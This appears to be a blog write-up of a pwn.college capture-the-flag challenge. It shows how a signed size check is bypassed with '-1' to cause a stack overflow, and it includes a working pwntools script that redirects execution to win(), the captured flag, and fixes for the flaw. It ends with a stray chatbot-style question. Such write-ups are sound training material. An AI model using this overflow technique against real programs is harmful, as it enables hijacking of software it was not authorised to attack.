Sitemap

PWN.college ->program security -> memory corruptions challenge -> bounds-breaker-easy challenge

3 min readSep 15, 2026

--

Challenge Writeup: Bounds Breaker (Easy) — pwn.college

1. Challenge Overview

  • Module: Program Security / Shellcode Injection
  • Challenge Name: Bounds Breaker (Easy)
  • Objective: Hijack the program’s control flow to execute a hidden win() function and print the flag.
  • Vulnerability Type: Signed Integer Vulnerability leading to a Buffer Overflow.

2. Information Gathering & Static Analysis

We started by examining the assembly dump of the binary to map out the program’s functions and memory layout.

Finding the Target Function

Looking at the disassembly, we discovered a large NOP (No-Operation) sled ending at address 0x4022b0, followed immediately by the target <win> function:

4022af:       5d                      pop    %rbp
4022b0: c3 ret
00000000004022b1 <win>:
4022b1: f3 0f 1e fa endbr64
4022b5: 55 push %rbp
...
  • Target Address: 0x4022b1 (The starting address of <win>). If we can overwrite the Instruction Pointer (RIP) with this address, the program will execute this code block and reveal the flag.

3. Dynamic Analysis & Memory Layout

When executing the binary, it provided a structural map of its active memory space:

The program's memory status:
- the input buffer starts at 0x7ffff258e150
- the saved frame pointer (of main) is at 0x7ffff258e1c0
- the saved return address (previously to main) is at 0x7ffff258e1c8
- the saved return address is now pointing to 0x402a79.
- the address of win() is 0x4022b1.

Calculating the Offset

To find out exactly how much padding data we needed to send before writing our target address, we calculated the distance between the start of our input buffer and the saved return address:

$$\text{Saved Return Address Location} — \text{Input Buffer Start Address} = \text{Offset}$$
$$0x7\text{ffff}258e1c8–0x7\text{ffff}258e150 = 120 \text{ bytes}$$

Get Praba’s stories in your inbox

Join Medium for free to get updates from this writer.

This meant our payload required exactly 120 bytes of padding to completely fill the buffer and reach the boundary of the return address slot.

4. Exploitation Strategy (The “Bounds Breaker” Flaw)

The binary implements a boundary check designed to restrict how much data you can input. The logic looks similar to this:

if (user_size > max_allowed_size) {
puts("Out of bounds!");
exit(1);
}

The Flaw

The constraint check is a signed comparison. It only verifies if your input is too large, completely failing to check if your input is a negative number.

When the program prompts for the size first, entering a negative number (like -1) easily passes the check because $-1 < \text{max\_allowed\_size}$. However, when that value is later passed to the reading loop (such as read(0, buffer, size)), the system interprets the negative integer as a massive unsigned number. This breaks the boundary constraints wide open and allows us to trigger a classic stack buffer overflow.

5. Crafting the Exploit Script

Using the information we gathered, we constructed an automated exploit script using Python 3 and the pwntools library:

import pwn
# 1. Initialize the challenge process
p = pwn.process("/challenge/run")
# 2. Bypass the Boundary Check
# Wait for the size prompt and send a negative value to trick the signed comparison guard
p.recvuntil(b"size")
p.sendline(b"-1")
# 3. Construct the Attack Payload
# Fill the 120-byte gap with padding characters ('A'), then append the win() address packed in 64-bit format
win_address = 0x4022b1
payload = b"A" * 120 + pwn.p64(win_address)
# 4. Deliver the Payload
p.sendline(payload)
# 5. Maintain Interactive Session to Capture Output
p.interactive()

6. Execution & Flag Retrieval

Running our python script successfully hijacked the program’s control flow, redirected execution directly into the <win> function, and printed the secret flag text to the terminal:

[*] Target Buffer: 0x7ffff258e150
[*] Target Return Loc: 0x7ffff258e1c8
[*] Offset required: 120 bytes
[+] Flag Captured: pwn.college{ECSYxCihEgAF0PizDnQK6T_rATX.dVTOywCO5IDOxIzW}

7. Lessons Learned & Remediation

  1. Never Trust User Input Sizes: Size boundary checks must ensure that the input size fits within a strict logical range: if (size < 0 || size > max_size).
  2. Use Unsigned Integers for Lengths: Variables tracking sizes, lengths, or array indexes should be explicitly defined as unsigned data types (e.g., size_t or unsigned int) to prevent negative wrap-around exploitation bugs.

Would you like to move on to the next level in the module, or do you want to write down notes on how to parse these memory addresses dynamically if the binary starts randomizing them on every boot?

--

--